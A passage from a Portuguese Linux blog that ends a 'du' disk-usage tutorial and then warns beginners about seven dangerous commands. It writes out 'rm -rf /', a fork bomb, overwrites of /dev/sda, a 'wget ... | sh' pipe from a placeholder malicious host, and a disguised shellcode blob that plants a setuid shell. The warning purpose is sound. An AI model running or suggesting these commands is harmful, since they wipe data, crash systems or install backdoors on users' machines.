Através do comando de ajuda (--help) você consegue ver todos os parâmetros comuns que o "du" te oferece, mas vamos para alguns casos práticos e algumas dicas para você utilizar ele.

A funcionalidade do "du" é simples, você usa ele com o diretório ou arquivo que quer analisar, por exemplo:
du /home
Comando du exibindo blocos


Você verá que a saída desse comando será gigantesca, listando todos os diretório acessíveis com a permissão do seu usuário (seja o normal ou o root), o problema é que o comando "du" sem parâmetros mostra os valores de espaço em blocos de disco (f*ck yeah!), o que é um pouco complicado de entender, por isso existe um parâmetro "-h", que está ali para "humanos", ou seja, para você entender os espaços, medindo os valores em GB, MB, KB, etc. Por exemplo:
du -h /home 
comando DU mostrando unidades legíveis

Como você pode ver na imagem acima, podemos ver que os os diretórios agora tem valores mais simples de entender.

Ainda assim, esse comando mostra todos os diretórios de forma individual, o que dá uma saída muito grande realmente, se você quiser exibir apenas o tamanho total, use também o parâmetro "-s" de "summarize". Ele pode ser escrito de diversas formas, veja:
du -h -s /home
du -hs /home
du -sh /home 
Todos eles lhe entregarão o mesmo resultado, mostrando os diretórios onde a leitura não foi possível por questões de permissão de usuário:

Comando Du mostrando apenas o resultado
Como é possível ver, acaba sendo uma saída muito menor
Particularmente eu gosto de escrever "du -hs diretório_ou_arquivo", porque acabei associando com "head shot" do Counter Strike e acabei nunca mais esquecendo! 😁

Como eu já tinha comentado, você também pode usar o "du" para saber o tamanho de um arquivo, a forma de fazer a medição é muito simples, basta indicar o diretório com o nome do arquivo, ou então apontar o o arquivo, caso você já esteja no diretório. Por exemplo:

Eu tenho uma ISO do Fedora na minha pasta "Downloads" dentro da minha pasta "Home", primeiro navego até ela usando o "cd":
cd ~/Downloads/
Posso dar um "ls" para conferir o nome do arquivo e então rodar um comando "du" mais ou menos assim:
du -hs Fedora-Workstation-Live-x86_64-29-1.2.iso
Medindo arquivos com o DU

Como você pode ver, o terminal me retorna que a ISO do Fedora de cerca de "1.8 GB" de tamanho. Simples, não?

Algumas dicas um pouco mais avançadas para o "du"


Até então você viu a utilização básica do "du" para a medição do tamanho de diretórios e arquivos, mas e se eu quiser organizar a saída do "du" para saber quais arquivos estão ocupando mais espaço, ou para saber quais pastas estão mais cheias de arquivos e ocupando mais espaço, como fazer?

Para isso vamos usar o famoso "pipe" para jogar a saída de um comando em outro. Neste caso vamos usar a saída do "du" e jogá-la no "sort", outro comando bem bacana para ordenar as coisas:
du -hs * | sort -h
O comando acima está dizendo para o "du" usar o modo "humano" e simplificado (--hs) para todos os arquivos do diretório (*), e jogar a saída desse comando (|) para o que o "sort" ordene eles por tamanho usando valores "humanos" (-h).

Eu apliquei esse comando em uma pasta cheia que ISOs de sistema que eu tenho no computador, assim eu consigo saber qual delas é que ocupa mais espaço, a saída foi a seguinte:

usando o du para medir o tamanho das ISOs

Se eu quiser saber qual destas ISOs foi a última que eu baixei, posso usar o "du" dessa forma:
du -h --time *
Você também pode usar o "du" para analisar certos arquivos que contenham ou não contenham algum texto, por exemplo, quero saber o tamanho de todo os "buntus" que eu tenho nessa coleção de ISOs:
du -hs * | grep buntu -h
Contando ISOS do Ubuntu

Funciona exatamente como o exemplo anterior, com a diferença de que o "grep" está pegando resultados que tenham o texto "buntu" e me exibindo.

Como você deve imaginar, existem muitas combinações possíveis, então é bom estudar as opções que o "--help" do "du" te mostra, mas por fim, vou deixar uma última dica, se você quiser saber a soma total do diretório, além de fazer a contagem individual, use também o parâmetro "-c", essa forma:
du -hsc diretório_desejado

DU lendo o tamanho total

Repare que no final do comando você consegue ver o total do diretório.

Toda vez que se fala no "du", muita gente fica pensando em como usá-lo para verificar, não quanto espaço está sendo usado, mas quando espaço resta. Essa lição pode ficar para outro artigo, mas para não deixar você sem a resposta, a forma mais simples de verificar isso não é usando o "du" e sim outro utilitário chamado "df", abreviação para "disk filesystem", você pode usá-lo assim para ver como está a utilização das suas partições:
df -h
O resultado será parecido com isso:

Ver utilização de disco via linha de comando

Espero que o artigo tenha te ajudando a entender um pouco mais das ferramentas que estão disponíveis para você utilizar no seu servidor ou mesmo na sua distro de desktop, caso você goste de usar comandos no terminal. Este é só o primeiro artigo de uma série que eu pretendo fazer para mostrar algumas coisas um pouco mais avançadas do mundo Linux, incluindo configurações de arquivos mais sensíveis do sistema, você não perde por esperar! :)

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 comandos perigosos do Linux que você NUNCA deve executar

Nenhum comentário

quinta-feira, 17 de janeiro de 2019

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




Blog Diolinux © all rights reserved
made with by templateszoo